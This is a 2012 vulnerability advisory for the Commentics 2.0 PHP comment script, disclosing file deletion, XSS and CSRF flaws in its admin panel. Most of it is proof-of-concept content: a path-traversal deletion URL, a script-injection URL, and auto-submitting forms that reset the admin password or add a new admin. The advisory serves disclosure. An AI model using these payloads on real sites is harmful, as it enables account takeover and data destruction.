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Commentics 2.0 Cross Site Request Forgery / Cross Site Scrip

Posted on 21 June 2012

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Commentics 2.0 <= Multiple Vulnerabilities
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Discovered by: Jean Pascal Pereira <pereira@secbiz.de>

Vendor information:

"Commentics is a free, advanced PHP comment script with many features.
Professionally written and with open source code, its main aims are to be integrable, customizable and secure."

Vendor URI: http://www.commentics.org/

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Issues: Cross Site Scripting, Cross Site Request Forgery / File Deletion

Risk-level: High

The whole administration interface is prone to several client-side attacks.

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Exploit / Proof Of Concept:

(Note that almost every parameter is vulnerable. These are only a few examples.)

1. File deletion vulnerability (deletes index.php):

http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=tool_db_backup&action=delete&id=../index.php

2. Cross Site Scripting:

http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=edit_page&id="><script>alert(1)</script><!--

3. CSRF / Change admin email and password:

<form method="POST" action="http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=settings_administrator">
<input type="text" name="username" value="admin" />
<input type="text" name="password_1" value="1234" />
<input type="text" name="password_2" value"=1234" />
<input type="text" name="email" value="admin%40binkmail.com" />
<input type="text" name="receive_email_new_ban" value="on" />
<input type="text" name="receive_email_new_comment_approve" value="on" />
<input type="text" name="receive_email_new_comment_okay" value="on" />
<input type="text" name="receive_email_new_flag" value="on" />
<input type="text" name="submit" value="Update" />
</form>
<script>document.forms[0].submit()</script>

4. CSRF / Add new admin user

<form method="POST" action="http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=settings_administrator">
<input type="text" name="username" value="newadmin" />
<input type="text" name="password_1" value="1234" />
<input type="text" name="password_2" value"=1234" />
<input type="text" name="email" value="newadmin%40binkmail.com" />
<input type="text" name="submit" value="Add+Admin" />
</form>
<script>document.forms[0].submit()</script>

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Solution:

Do some input validation.

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